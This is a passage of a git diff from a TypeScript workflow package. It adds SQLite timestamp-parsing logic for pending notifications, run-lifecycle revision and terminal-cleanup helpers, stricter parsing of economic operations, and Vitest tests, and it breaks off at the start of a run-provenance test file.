-        // it — so it stays out of the page and is reported as `notDue`
-        // instead. That total also covers pending rows carrying NEITHER
-        // timestamp, which no dispatch pass will ever select at all.
+        const now = notificationTimestampMillis(new Date(this.#now()));
+        // Future dispatch is still an outstanding obligation. Rows with
+        // neither timestamp also keep the drain open: dispatch cannot select
+        // them and retention does not remove pending notifications.
         const due = DUE_NOTIFICATION_SQL;
         return {
           key: ['thread_id', 'id'],
-          detail: ['source', 'kind', 'priority', 'agentId', 'deliverAt'],
-          where: due,
-          binds: [now, now],
-          // The aggregate scans every PENDING row so `notDue` can exist at
-          // all — but `count` re-applies the due predicate, so it still means
-          // what it means in every other category: rows in this one.
-          countWhere: "status = 'pending'",
-          countBinds: [],
-          countExpression: `SUM(CASE WHEN ${due} THEN 1 ELSE 0 END)`,
-          countExpressionBinds: [now, now],
+          detail: [
+            'source',
+            'kind',
+            'priority',
+            'agentId',
+            'deliverAt',
+            'summaryAt',
+          ],
+          where: "status = 'pending'",
+          binds: [],
           totals: [`SUM(CASE WHEN ${due} THEN 0 ELSE 1 END) AS notDue`],
           totalsBinds: [now, now],
         };
diff --git a/packages/flowsafe/src/do-runner/notification-predicate.ts b/packages/flowsafe/src/do-runner/notification-predicate.ts
index 3e67e3a4..885dd94c 100644
--- a/packages/flowsafe/src/do-runner/notification-predicate.ts
+++ b/packages/flowsafe/src/do-runner/notification-predicate.ts
@@ -1,10 +1,151 @@
 // SPDX-License-Identifier: Apache-2.0
 
-/**
- * Pending notifications whose delivery or summary time has arrived.
- *
- * Bind two positional parameters to the same ISO "now": `deliverAt` first,
- * then `summaryAt`.
- */
-export const DUE_NOTIFICATION_SQL =
-  "status = 'pending' AND ((deliverAt IS NOT NULL AND deliverAt <= ?) OR (summaryAt IS NOT NULL AND summaryAt <= ?))";
+const NOTIFICATION_TIMESTAMP_COLUMNS = [
+  'deliverAt',
+  'summaryAt',
+  'updatedAt',
+] as const;
+
+type NotificationTimestampColumn =
+  (typeof NOTIFICATION_TIMESTAMP_COLUMNS)[number];
+
+const ISO_YEAR = '(?:\\d{4}|[+-]\\d{6})';
+const ISO_MONTH = '(?:0[1-9]|1[0-2])';
+const ISO_DAY = '(?:0[1-9]|[12]\\d|3[01])';
+const ISO_HOUR = '(?:[01]\\d|2[0-4])';
+const ISO_MINUTE = '[0-5]\\d';
+const ISO_ZONE = '(?:Z|[+-](?:[01]\\d|2[0-3]):?[0-5]\\d)';
+const ISO_DATE = `${ISO_YEAR}-${ISO_MONTH}-${ISO_DAY}`;
+const ISO_DATE_ONLY = `${ISO_YEAR}(?:-${ISO_MONTH}(?:-${ISO_DAY})?)?`;
+const ISO_TIME = `${ISO_HOUR}:${ISO_MINUTE}(?::${ISO_MINUTE}(?:\\.\\d+)?)?`;
+const NOTIFICATION_TIMESTAMP = new RegExp(
+  `^(?:${ISO_DATE_ONLY}|${ISO_DATE}T${ISO_TIME}${ISO_ZONE})(?![\\s\\S])`,
+  'i',
+);
+
+export function notificationTimestampMillis(value: Date | string): number {
+  const time =
+    value instanceof Date
+      ? value.getTime()
+      : typeof value === 'string' &&
+          NOTIFICATION_TIMESTAMP.test(value) &&
+          !value.startsWith('-000000')
+        ? new Date(value).getTime()
+        : NaN;
+  if (!Number.isFinite(time)) {
+    throw new TypeError(
+      'Notification timestamp must be a finite Date or supported ISO date',
+    );
+  }
+  return time;
+}
+
+// Whole Gregorian cycles preserve month/day relationships while SQLite parses
+// a year in its supported range; integer milliseconds retain the original range.
+// Materializing per-value stages bounds SQLite's compiled expression growth.
+export function notificationTimestampSql(
+  column: NotificationTimestampColumn,
+): string {
+  if (!NOTIFICATION_TIMESTAMP_COLUMNS.includes(column)) {
+    throw new TypeError('Unknown notification timestamp column');
+  }
+  return `(CASE WHEN typeof(${column}) = 'text'
+    AND length(CAST(${column} AS BLOB)) = 24
+    AND ${column} GLOB '????-??-??T??:??:??.???Z'
+    AND CAST(substr(${column}, 12, 2) AS INTEGER) < 24
+    THEN CAST(ROUND((julianday(${column}) - 2440587.5) * 86400000) AS INTEGER)
+    ELSE (WITH iso_source AS (
+    SELECT ${column} AS raw
+  ), iso_input AS (
+    SELECT raw, upper(raw) AS value,
+      CASE WHEN substr(raw, 1, 1) IN ('+', '-') THEN 7 ELSE 4 END AS year_width
+    FROM iso_source
+  ), iso_split AS (
+    SELECT *, instr(value, 'T') AS time_start FROM iso_input
+  ), iso_parts AS MATERIALIZED (
+    SELECT *,
+      CASE WHEN time_start = 0 THEN value ELSE substr(value, 1, time_start - 1) END AS date_part,
+      CASE WHEN time_start = 0 THEN NULL ELSE substr(value, time_start + 1) END AS zoned_time
+    FROM iso_split
+  ), iso_zone AS (
+    SELECT *,
+      CASE
+        WHEN zoned_time IS NULL THEN 'date'
+        WHEN substr(zoned_time, -1) = 'Z' THEN 'utc'
+        WHEN substr(zoned_time, -6, 1) IN ('+', '-') THEN 'offset'
+        WHEN substr(zoned_time, -5, 1) IN ('+', '-') THEN 'compact'
+        ELSE 'missing'
+      END AS zone_type
+    FROM iso_parts
+  ), iso_clock AS MATERIALIZED (
+    SELECT *,
+      CAST(substr(date_part, 1, year_width) AS INTEGER) AS original_year,
+      CASE WHEN year_width = 7 THEN substr(date_part, 2, 6) ELSE substr(date_part, 1, 4) END AS year_digits,
+      CASE WHEN length(date_part) >= year_width + 3 THEN substr(date_part, year_width + 2, 2) ELSE '01' END AS month,
+      CASE WHEN length(date_part) >= year_width + 6 THEN substr(date_part, year_width + 5, 2) ELSE '01' END AS day,
+      CASE zone_type
+        WHEN 'date' THEN '00:00:00'
+        WHEN 'utc' THEN substr(zoned_time, 1, length(zoned_time) - 1)
+        WHEN 'offset' THEN substr(zoned_time, 1, length(zoned_time) - 6)
+        WHEN 'compact' THEN substr(zoned_time, 1, length(zoned_time) - 5)
+        ELSE ''
+      END AS clock,
+      CASE zone_type
+        WHEN 'offset' THEN substr(zoned_time, -6)
+        WHEN 'compact' THEN substr(zoned_time, -5, 3) || ':' || substr(zoned_time, -2)
+        ELSE '+00:00'
+      END AS zone
+    FROM iso_zone
+  ), iso_fields AS MATERIALIZED (
+    SELECT *,
+      substr(clock, 1, 2) AS hour,
+      substr(clock, 4, 2) AS minute,
+      CASE WHEN length(clock) >= 8 THEN substr(clock, 7, 2) ELSE '00' END AS second,
+      CASE WHEN length(clock) > 8 THEN substr(clock, 10) ELSE '' END AS fraction,
+      substr(zone, 2, 2) AS zone_hour,
+      substr(zone, 5, 2) AS zone_minute,
+      2000 + ((original_year % 400 + 400) % 400) AS mapped_year
+    FROM iso_clock
+  ), iso_valid AS (
+    SELECT *, substr(fraction || '000', 1, 3) AS milliseconds
+    FROM iso_fields
+    WHERE typeof(raw) = 'text'
+      AND length(CAST(raw AS BLOB)) = length(raw)
+      AND length(year_digits) = CASE WHEN year_width = 7 THEN 6 ELSE 4 END
+      AND year_digits NOT GLOB '*[^0-9]*'
+      AND substr(date_part, 1, 7) != '-000000'
+      AND length(date_part) IN (year_width, year_width + 3, year_width + 6)
+      AND (length(date_part) = year_width OR substr(date_part, year_width + 1, 1) = '-')
+      AND (length(date_part) < year_width + 6 OR substr(date_part, year_width + 4, 1) = '-')
+      AND (time_start = 0 OR length(date_part) = year_width + 6)
+      AND length(month) = 2 AND month NOT GLOB '*[^0-9]*' AND CAST(month AS INTEGER) BETWEEN 1 AND 12
+      AND length(day) = 2 AND day NOT GLOB '*[^0-9]*' AND CAST(day AS INTEGER) BETWEEN 1 AND 31
+      AND zone_type != 'missing'
+      AND (length(clock) IN (5, 8) OR (length(clock) >= 10 AND substr(clock, 9, 1) = '.'))
+      AND substr(clock, 3, 1) = ':'
+      AND (length(clock) = 5 OR substr(clock, 6, 1) = ':')
+      AND length(hour) = 2 AND hour NOT GLOB '*[^0-9]*' AND CAST(hour AS INTEGER) BETWEEN 0 AND 24
+      AND length(minute) = 2 AND minute NOT GLOB '*[^0-9]*' AND CAST(minute AS INTEGER) BETWEEN 0 AND 59
+      AND length(second) = 2 AND second NOT GLOB '*[^0-9]*' AND CAST(second AS INTEGER) BETWEEN 0 AND 59
+      AND fraction NOT GLOB '*[^0-9]*'
+      AND (CAST(hour AS INTEGER) < 24 OR (CAST(minute AS INTEGER) = 0 AND CAST(second AS INTEGER) = 0 AND CAST(substr(fraction || '000', 1, 3) AS INTEGER) = 0))
+      AND substr(zone, 4, 1) = ':'
+      AND length(zone_hour) = 2 AND zone_hour NOT GLOB '*[^0-9]*' AND CAST(zone_hour AS INTEGER) BETWEEN 0 AND 23
+      AND length(zone_minute) = 2 AND zone_minute NOT GLOB '*[^0-9]*' AND CAST(zone_minute AS INTEGER) BETWEEN 0 AND 59
+  ), iso_epoch AS (
+    SELECT
+      CAST(ROUND((julianday(printf('%04d-%02d-%02dT%02d:%02d:%02d.%sZ',
+        mapped_year, CAST(month AS INTEGER), CAST(day AS INTEGER),
+        CAST(hour AS INTEGER), CAST(minute AS INTEGER), CAST(second AS INTEGER), milliseconds))
+        - 2440587.5) * 86400000) AS INTEGER)
+      - (CASE WHEN substr(zone, 1, 1) = '-' THEN -1 ELSE 1 END)
+        * (CAST(zone_hour AS INTEGER) * 60 + CAST(zone_minute AS INTEGER)) * 60000
+      + ((original_year - mapped_year) / 400) * 146097 * 86400000 AS epoch_ms
+    FROM iso_valid
+  )
+  SELECT CASE WHEN epoch_ms BETWEEN -8640000000000000 AND 8640000000000000 THEN epoch_ms END
+  FROM iso_epoch) END)`;
+}
+
+/** Bind numeric epoch milliseconds for deliverAt, then summaryAt. */
+export const DUE_NOTIFICATION_SQL = `status = 'pending' AND ((${notificationTimestampSql('deliverAt')}) <= ? OR (${notificationTimestampSql('summaryAt')}) <= ?)`;
diff --git a/packages/flowsafe/src/do-runner/run-lifecycle.test.ts b/packages/flowsafe/src/do-runner/run-lifecycle.test.ts
new file mode 100644
index 00000000..043c8de1
--- /dev/null
+++ b/packages/flowsafe/src/do-runner/run-lifecycle.test.ts
@@ -0,0 +1,495 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { describe, expect, it, vi } from 'vitest';
+import {
+  canonicalEconomicOperations,
+  canonicalReplayPrincipals,
+  canonicalScheduleDispatch,
+  hasDisputedSettlement,
+  lifecycleFromRequestContext,
+  nextLifecycleRevision,
+  parseRunLifecycle,
+  projectTerminalLifecycle,
+  RUN_LIFECYCLE_CONTEXT_KEY,
+  RunLifecycleBlockedError,
+  type RunLifecycleBlockedReason,
+  type RunLifecycleState,
+  type RunTerminalStatus,
+  terminalCleanupFor,
+} from './run-lifecycle.js';
+
+describe('C dense economic-operation format', () => {
+  const entries = [
+    { id: 'first', settlementState: 'settled' },
+    { id: 'second', settlementState: 'held' },
+    { id: 'third', settlementState: 'disputed' },
+  ];
+
+  it.each([
+    'leading',
+    'interior',
+    'trailing',
+    'all-hole',
+  ] as const)('C rejects sparse economic operations in the shared lifecycle parser: %s', (shape) => {
+    const operations = shape === 'all-hole' ? new Array(3) : [...entries];
+    if (shape !== 'all-hole')
+      delete operations[{ leading: 0, interior: 1, trailing: 2 }[shape]];
+    for (const read of [
+      () => canonicalEconomicOperations(operations),
+      () =>
+        parseRunLifecycle({
+          version: 1,
+          revision: 1,
+          economicOperations: operations,
+        }),
+    ]) {
+      let error: unknown;
+      try {
+        read();
+      } catch (cause) {
+        error = cause;
+      }
+      expect(error).toBeInstanceOf(Error);
+      expect(Object.getPrototypeOf(error)).toBe(Error.prototype);
+      expect(error).toEqual(new Error('stored run lifecycle is malformed'));
+    }
+  });
+
+  it.each([
+    'dense',
+    'inherited',
+    'empty',
+  ] as const)('C keeps dense and inherited economic data readable: %s', (shape) => {
+    const operations = shape === 'empty' ? [] : [...entries];
+    if (shape === 'inherited') {
+      const prototype = Object.create(Array.prototype);
+      Object.defineProperty(prototype, '1', { value: entries[1] });
+      Object.setPrototypeOf(operations, prototype);
+      delete operations[1];
+    }
+    const expected = shape === 'empty' ? [] : entries;
+    const captured = canonicalEconomicOperations(operations);
+    expect(captured).toEqual(expected);
+    expect(captured).not.toBe(operations);
+    expect(Object.getPrototypeOf(captured)).toBe(Array.prototype);
+    const lifecycle = { version: 1, revision: 1, economicOperations: captured };
+    expect(parseRunLifecycle(JSON.parse(JSON.stringify(lifecycle)))).toEqual(
+      lifecycle,
+    );
+    expect(Object.isFrozen(operations)).toBe(false);
+  });
+
+  it('C shared economic parsing ignores caller methods and reads primitives once', () => {
+    const id = vi
+      .fn()
+      .mockReturnValueOnce('first')
+      .mockImplementation(() => {
+        throw new Error('second id read');
+      });
+    const settlementState = vi
+      .fn()
+      .mockReturnValueOnce('settled')
+      .mockImplementation(() => {
+        throw new Error('second state read');
+      });
+    const operations = [
+      {
+        get id() {
+          return id();
+        },
+        get settlementState() {
+          return settlementState();
+        },
+      },
+    ];
+    const map = vi.fn(() => []);
+    const iterator = vi.fn(() => {
+      throw new Error('caller iterator');
+    });
+    Object.defineProperty(operations, 'map', { value: map });
+    Object.defineProperty(operations, Symbol.iterator, { value: iterator });
+    expect(canonicalEconomicOperations(operations)).toEqual([
+      { id: 'first', settlementState: 'settled' },
+    ]);
+    expect(id).toHaveBeenCalledTimes(1);
+    expect(settlementState).toHaveBeenCalledTimes(1);
+    expect(map).not.toHaveBeenCalled();
+    expect(iterator).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    null,
+    '1',
+    true,
+    -1,
+    1.5,
+    NaN,
+    Infinity,
+    Number.MAX_SAFE_INTEGER,
+  ])('C shared economic parsing refuses malformed array length: %s', (length) => {
+    const operations = new Proxy([...entries], {
+      get(target, key, receiver) {
+        return key === 'length' ? length : Reflect.get(target, key, receiver);
+      },
+    });
+    let error: unknown;
+    try {
+      canonicalEconomicOperations(operations);
+    } catch (cause) {
+      error = cause;
+    }
+    expect(error).toBeInstanceOf(Error);
+    expect(Object.getPrototypeOf(error)).toBe(Error.prototype);
+    expect(error).toEqual(new Error('stored run lifecycle is malformed'));
+  });
+
+  it('C shared economic parsing preserves first getter faults and avoids array species', () => {
+    const fault = new Error('first economic id read');
+    const operations = [
+      {
+        get id(): string {
+          throw fault;
+        },
+        settlementState: 'held',
+      },
+    ];
+    let error: unknown;
+    try {
+      canonicalEconomicOperations(operations);
+    } catch (cause) {
+      error = cause;
+    }
+    expect(error).toBe(fault);
+    const species = vi.fn();
+    class Operations extends Array<(typeof entries)[number]> {
+      static get [Symbol.species]() {
+        species();
+        return Array;
+      }
+    }
+    expect(canonicalEconomicOperations(new Operations(...entries))).toEqual(
+      entries,
+    );
+    expect(species).not.toHaveBeenCalled();
+  });
+});
+
+const MAX_REVISION = Number.MAX_SAFE_INTEGER;
+
+function recordedIntent(
+  status: RunTerminalStatus,
+  revision = 7,
+): RunLifecycleState & {
+  transitionIntent: NonNullable<RunLifecycleState['transitionIntent']>;
+} {
+  return {
+    version: 1,
+    revision,
+    deadlineAt: 0,
+    economicOperations: [
+      { id: 'operation-1', settlementState: 'settled' },
+      { id: 'operation-2', settlementState: 'awaiting-receipt' },
+    ],
+    scheduleDispatch: { scheduleId: 'schedule-1', dispatchId: 'dispatch-1' },
+    transitionIntent: {
+      status,
+      requestedAt: 100,
+      replayPrincipals: [
+        { kind: 'human', id: 'original-owner' },
+        { kind: 'system', id: 'deadline-worker' },
+      ],
+      expectedRevision: revision,
+      expectedDeadlineAt: 0,
+    },
+  };
+}
+
+describe('projectTerminalLifecycle', () => {
+  it.each([
+    ['cancelled', { code: 'CANCELLED', message: 'run was cancelled' }],
+    ['timed_out', { code: 'TIMED_OUT', message: 'run deadline expired' }],
+  ] as const)('projects recorded %s intent, preserving principals and lifecycle metadata', (status, error) => {
+    const lifecycle = recordedIntent(status);
+    const before = structuredClone(lifecycle);
+    const { transitionIntent, ...base } = lifecycle;
+    const principals = canonicalReplayPrincipals(
+      transitionIntent.replayPrincipals,
+    );
+    const projected = projectTerminalLifecycle(
+      lifecycle,
+      status,
+      0,
+      principals,
+    );
+    expect(projected).toStrictEqual({
+      ...base,
+      revision: 8,
+      terminal: {
+        status,
+        error,
+        transitionedAt: 0,
+        replayPrincipals: [
+          { kind: 'human', id: 'original-owner' },
+          { kind: 'system', id: 'deadline-worker' },
+        ],
+      },
+    });
+    expect(projected).not.toHaveProperty('transitionIntent');
+    expect(projected.terminal).not.toHaveProperty('cleanupCompletedAt');
+    expect(parseRunLifecycle(projected)).toStrictEqual(projected);
+    expect(lifecycle).toStrictEqual(before);
+    expect(terminalCleanupFor(projected)).toStrictEqual({
+      revision: 8,
+      status,
+      cleanupCompleted: false,
+      scheduleDispatch: { scheduleId: 'schedule-1', dispatchId: 'dispatch-1' },
+    });
+  });
+
+  it('starts absent lifecycle metadata at revision one with the supplied principal', () => {
+    const principals = canonicalReplayPrincipals([
+      { kind: 'service', id: 'service-runner' },
+    ]);
+    const projected = projectTerminalLifecycle(
+      undefined,
+      'cancelled',
+      50,
+      principals,
+    );
+    expect(projected).toStrictEqual({
+      version: 1,
+      revision: 1,
+      terminal: {
+        status: 'cancelled',
+        error: { code: 'CANCELLED', message: 'run was cancelled' },
+        transitionedAt: 50,
+        replayPrincipals: [{ kind: 'service', id: 'service-runner' }],
+      },
+    });
+    expect(terminalCleanupFor(projected)).toStrictEqual({
+      revision: 1,
+      status: 'cancelled',
+      cleanupCompleted: false,
+    });
+  });
+
+  it('advances MAX minus one exactly to a still-readable MAX revision', () => {
+    const lifecycle = recordedIntent('timed_out', MAX_REVISION - 1);
+    const projected = projectTerminalLifecycle(
+      lifecycle,
+      'timed_out',
+      20,
+      canonicalReplayPrincipals(lifecycle.transitionIntent.replayPrincipals),
+    );
+    expect(projected.revision).toBe(MAX_REVISION);
+    expect(parseRunLifecycle(projected)).toStrictEqual(projected);
+    expect(terminalCleanupFor(projected)?.revision).toBe(MAX_REVISION);
+    expect(lifecycle.revision).toBe(MAX_REVISION - 1);
+  });
+
+  it.each([
+    'cancelled',
+    'timed_out',
+  ] as const)('refuses exhausted %s projection without changing readable stored intent', (status) => {
+    const lifecycle = recordedIntent(status, MAX_REVISION);
+    const before = structuredClone(lifecycle);
+    expect(parseRunLifecycle(lifecycle)).toStrictEqual(lifecycle);
+    expect(() =>
+      projectTerminalLifecycle(
+        lifecycle,
+        status,
+        200,
+        canonicalReplayPrincipals(lifecycle.transitionIntent.replayPrincipals),
+      ),
+    ).toThrowError('run lifecycle revision cannot advance');
+    expect(lifecycle).toStrictEqual(before);
+    expect(parseRunLifecycle(lifecycle)).toStrictEqual(before);
+    expect(terminalCleanupFor(lifecycle)).toBeUndefined();
+  });
+});
+
+describe('terminalCleanupFor', () => {
+  it('returns no cleanup for absent lifecycle or a nonterminal recorded intent', () => {
+    expect(terminalCleanupFor(undefined)).toBeUndefined();
+    expect(
+      terminalCleanupFor({ version: 1, revision: MAX_REVISION }),
+    ).toBeUndefined();
+    expect(
+      terminalCleanupFor(recordedIntent('cancelled', MAX_REVISION)),
+    ).toBeUndefined();
+  });
+
+  it.each([
+    'cancelled',
+    'timed_out',
+  ] as const)('keeps the current %s terminal revision and exact dispatch without incrementing', (status) => {
+    const lifecycle = projectTerminalLifecycle(
+      recordedIntent(status, MAX_REVISION - 1),
+      status,
+      100,
+      canonicalReplayPrincipals([{ kind: 'agent', id: 'agent-runner' }]),
+    );
+    const before = structuredClone(lifecycle);
+    const expected = {
+      revision: MAX_REVISION,
+      status,
+      cleanupCompleted: false,
+      scheduleDispatch: { scheduleId: 'schedule-1', dispatchId: 'dispatch-1' },
+    };
+    expect(terminalCleanupFor(lifecycle)).toStrictEqual(expected);
+    expect(terminalCleanupFor(lifecycle)).toStrictEqual(expected);
+    expect(lifecycle).toStrictEqual(before);
+  });
+
+  it.each([
+    ['cancelled', 0],
+    ['timed_out', 0],
+    ['cancelled', 500],
+    ['timed_out', 500],
+    ['cancelled', Number.MAX_SAFE_INTEGER],
+    ['timed_out', Number.MAX_SAFE_INTEGER],
+  ] as const)('recognizes %s completion timestamp %s without a revision write', (status, cleanupCompletedAt) => {
+    const lifecycle: RunLifecycleState = {
+      version: 1,
+      revision: MAX_REVISION,
+      terminal: {
+        status,
+        error:
+          status === 'cancelled'
+            ? { code: 'CANCELLED', message: 'run was cancelled' }
+            : { code: 'TIMED_OUT', message: 'run deadline expired' },
+        transitionedAt: 0,
+        replayPrincipals: [{ kind: 'human', id: 'original-owner' }],
+        cleanupCompletedAt,
+      },
+    };
+    const before = structuredClone(lifecycle);
+    expect(parseRunLifecycle(lifecycle)).toStrictEqual(lifecycle);
+    expect(terminalCleanupFor(lifecycle)).toStrictEqual({
+      revision: MAX_REVISION,
+      status,
+      cleanupCompleted: true,
+    });
+    expect(lifecycle).toStrictEqual(before);
+  });
+});
+
+describe('nextLifecycleRevision', () => {
+  it.each([
+    [0, 1],
+    [1, 2],
+    [23, 24],
+    [MAX_REVISION - 1, MAX_REVISION],
+  ])('advances %s exactly to %s', (current, expected) => {
+    expect(nextLifecycleRevision(current)).toBe(expected);
+  });
+
+  it.each([
+    MAX_REVISION,
+    MAX_REVISION + 1,
+    -1,
+    -0.5,
+    0.5,
+    Number.NaN,
+    Number.POSITIVE_INFINITY,
+    Number.NEGATIVE_INFINITY,
+  ])('rejects invalid or exhausted revision %s before arithmetic', (revision) => {
+    expect(() => nextLifecycleRevision(revision)).toThrowError(
+      'run lifecycle revision cannot advance',
+    );
+  });
+
+  it('keeps exhaustion a plain internal error rather than disputed settlement', () => {
+    try {
+      nextLifecycleRevision(MAX_REVISION);
+      throw new Error('expected exhaustion');
+    } catch (error) {
+      expect(error).toBeInstanceOf(Error);
+      expect((error as Error).constructor).toBe(Error);
+      expect((error as Error).message).toBe(
+        'run lifecycle revision cannot advance',
+      );
+      expect(error).not.toHaveProperty('reason');
+    }
+  });
+
+  it('does not narrow the existing persisted revision boundary', () => {
+    expect(
+      parseRunLifecycle({ version: 1, revision: MAX_REVISION }),
+    ).toStrictEqual({
+      version: 1,
+      revision: MAX_REVISION,
+    });
+    expect(() => parseRunLifecycle({ version: 1, revision: 0 })).toThrowError(
+      'stored run lifecycle is malformed',
+    );
+  });
+});
+
+describe('lifecycle metadata compatibility', () => {
+  it('canonicalizes principals by kind and id without changing their first order', () => {
+    const principals = [
+      { kind: 'human' as const, id: 'same-id' },
+      { kind: 'system' as const, id: 'same-id' },
+      { kind: 'human' as const, id: 'same-id' },
+    ];
+    expect(canonicalReplayPrincipals(principals)).toStrictEqual([
+      { kind: 'human', id: 'same-id' },
+      { kind: 'system', id: 'same-id' },
+    ]);
+    expect(principals).toHaveLength(3);
+  });
+
+  it('preserves schedule and host-defined economic metadata through the existing codecs', () => {
+    const lifecycle = recordedIntent('timed_out');
+    expect(
+      canonicalEconomicOperations(lifecycle.economicOperations),
+    ).toStrictEqual(lifecycle.economicOperations);
+    expect(canonicalScheduleDispatch(lifecycle.scheduleDispatch)).toStrictEqual(
+      lifecycle.scheduleDispatch,
+    );
+    expect(
+      lifecycleFromRequestContext({
+        unrelated: 'untouched',
+        [RUN_LIFECYCLE_CONTEXT_KEY]: lifecycle,
+      }),
+    ).toStrictEqual(lifecycle);
+    expect(lifecycleFromRequestContext(undefined)).toBeUndefined();
+    expect(canonicalEconomicOperations(undefined)).toBeUndefined();
+    expect(canonicalScheduleDispatch(undefined)).toBeUndefined();
+  });
+
+  it('continues to interpret only the exact disputed settlement state', () => {
+    const lifecycle: RunLifecycleState = {
+      version: 1,
+      revision: MAX_REVISION,
+      economicOperations: [{ id: 'operation-1', settlementState: 'disputed' }],
+    };
+    expect(hasDisputedSettlement(undefined)).toBe(false);
+    expect(hasDisputedSettlement(recordedIntent('cancelled'))).toBe(false);
+    expect(hasDisputedSettlement(lifecycle)).toBe(true);
+    expect(
+      hasDisputedSettlement({
+        ...lifecycle,
+        economicOperations: [
+          { id: 'operation-1', settlementState: 'DISPUTED' },
+        ],
+      }),
+    ).toBe(false);
+    expect(parseRunLifecycle(lifecycle)).toStrictEqual(lifecycle);
+  });
+
+  it('preserves the moved blocked error name, message and reason object', () => {
+    const reason: RunLifecycleBlockedReason = {
+      code: 'DISPUTED_SETTLEMENT',
+      message:
+        'run termination is blocked while an economic operation is disputed',
+    };
+    const error = new RunLifecycleBlockedError(reason);
+    expect(error).toBeInstanceOf(Error);
+    expect(error.name).toBe('RunLifecycleBlockedError');
+    expect(error.message).toBe(reason.message);
+    expect(error.reason).toBe(reason);
+    expect(error).not.toHaveProperty('status');
+  });
+});
diff --git a/packages/flowsafe/src/do-runner/run-lifecycle.ts b/packages/flowsafe/src/do-runner/run-lifecycle.ts
index d40c684a..b5cd9aeb 100644
--- a/packages/flowsafe/src/do-runner/run-lifecycle.ts
+++ b/packages/flowsafe/src/do-runner/run-lifecycle.ts
@@ -4,7 +4,7 @@ import {
   type ExecutionPrincipalKind,
   isExecutionPrincipalId,
   isExecutionPrincipalKind,
-} from '../approval-api/principal.js';
+} from '../approval-api/principal-identity.js';
 import { isPathSafeId } from './path-safe-id.js';
 
 /** Runtime-owned request-context key for durable run lifecycle metadata. */
@@ -17,6 +17,28 @@ export interface RunTerminalErrorEnvelope {
   message: string;
 }
 
+export interface RunLifecycleBlockedReason {
+  code: 'DISPUTED_SETTLEMENT';
+  message: string;
+}
+
+export class RunLifecycleBlockedError extends Error {
+  readonly reason: RunLifecycleBlockedReason;
+
+  constructor(reason: RunLifecycleBlockedReason) {
+    super(reason.message);
+    this.name = 'RunLifecycleBlockedError';
+    this.reason = reason;
+  }
+}
+
+export interface RunTerminalCleanup {
+  revision: number;
+  status: RunTerminalStatus;
+  cleanupCompleted: boolean;
+  scheduleDispatch?: RunScheduleDispatch;
+}
+
 /**
  * Trusted settlement projection supplied by an economic-operation host.
  * Flowsafe only interprets `disputed`; every other state remains host-defined.
@@ -62,6 +84,61 @@ export interface RunLifecycleState {
   };
 }
 
+export function nextLifecycleRevision(current: number): number {
+  if (
+    !Number.isSafeInteger(current) ||
+    current < 0 ||
+    current === Number.MAX_SAFE_INTEGER
+  )
+    throw new Error('run lifecycle revision cannot advance');
+  return current + 1;
+}
+
+export function terminalCleanupFor(
+  lifecycle: RunLifecycleState | undefined,
+): RunTerminalCleanup | undefined {
+  const terminal = lifecycle?.terminal;
+  if (!lifecycle || !terminal) return undefined;
+  return {
+    revision: lifecycle.revision,
+    status: terminal.status,
+    cleanupCompleted: terminal.cleanupCompletedAt !== undefined,
+    ...(lifecycle.scheduleDispatch
+      ? { scheduleDispatch: lifecycle.scheduleDispatch }
+      : {}),
+  };
+}
+
+export function projectTerminalLifecycle(
+  lifecycle: RunLifecycleState | undefined,
+  status: RunTerminalStatus,
+  nowMs: number,
+  replayPrincipals: RunLifecyclePrincipal[],
+): RunLifecycleState & {
+  terminal: NonNullable<RunLifecycleState['terminal']>;
+} {
+  const base = lifecycle
+    ? Object.fromEntries(
+        Object.entries(lifecycle).filter(([key]) => key !== 'transitionIntent'),
+      )
+    : { version: 1 as const, revision: 0 };
+  return {
+    ...base,
+    version: 1,
+    revision: nextLifecycleRevision(lifecycle?.revision ?? 0),
+    terminal: {
+      status,
+      error: {
+        code: status === 'cancelled' ? 'CANCELLED' : 'TIMED_OUT',
+        message:
+          status === 'cancelled' ? 'run was cancelled' : 'run deadline expired',
+      },
+      transitionedAt: nowMs,
+      replayPrincipals,
+    },
+  };
+}
+
 function record(value: unknown): Record<string, unknown> | undefined {
   return value !== null && typeof value === 'object' && !Array.isArray(value)
     ? (value as Record<string, unknown>)
@@ -78,22 +155,27 @@ function economicOperations(
   if (value === undefined) return undefined;
   if (!Array.isArray(value))
     throw new Error('stored run lifecycle is malformed');
-  return value.map((entry) => {
-    const operation = record(entry);
+  const length = value.length;
+  if (!Number.isSafeInteger(length) || length < 0 || length > 0xffff_ffff) {
+    throw new Error('stored run lifecycle is malformed');
+  }
+  const operations: RunEconomicOperation[] = [];
+  for (let index = 0; index < length; index++) {
+    if (!(index in value)) throw new Error('stored run lifecycle is malformed');
+    const operation = record(value[index]);
+    if (!operation) throw new Error('stored run lifecycle is malformed');
+    const { id, settlementState } = operation;
     if (
-      !operation ||
-      !isPathSafeId(operation.id) ||
-      typeof operation.settlementState !== 'string' ||
-      operation.settlementState.length === 0 ||
-      operation.settlementState.length > 100
+      !isPathSafeId(id) ||
+      typeof settlementState !== 'string' ||
+      settlementState.length === 0 ||
+      settlementState.length > 100
     ) {
       throw new Error('stored run lifecycle is malformed');
     }
-    return {
-      id: operation.id,
-      settlementState: operation.settlementState,
-    };
-  });
+    operations.push({ id, settlementState });
+  }
+  return operations;
 }
 
 function scheduleDispatch(value: unknown): RunScheduleDispatch | undefined {
diff --git a/packages/flowsafe/src/do-runner/run-provenance.test.ts b/packages/flowsafe/src/do-runner/run-provenance.test.ts
new file mode 100644
index 00000000..4036ea36
--- /dev/null
+++ b/packages/flowsafe/src/do-runner/run-provenance.test.ts
@@ -0,0 +1,217 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import { describe, expect, it } from 'vitest';
+import { ExecutionFenceUnreadableError } from './execution-admission.js';
+import {
+  decodeInitialRunProvenance,
+  decodeProgressRunProvenance,
+  decodeResumeCounts,
+  decodeRunStartIdentity,
+  nextResumeCount,
+  runExecutionIdentityFor,
+} from './run-provenance.js';
+
+const START = {
+  owner: { kind: 'human', id: 'Alice' },
+  target: { kind: 'workflow', id: 'parent' },
+};
+const INITIAL = {
+  version: 2,
+  startToken: 'server-generation',
+  attemptToken: 'host-correlation',
+  requestedBy: 'Alice',
+  requestedByKind: 'human',
+  startIdentity: START,
+  resumeCounts: [],
+};
+
+describe('run provenance', () => {
+  it('reads genuine progress without confusing a retained marker with unchanged initial state', () => {
+    const progressed = {
+      ...INITIAL,
+      initialAdmission: true,
+      requestedBy: 'Bob',
+      attemptToken: 'resume',
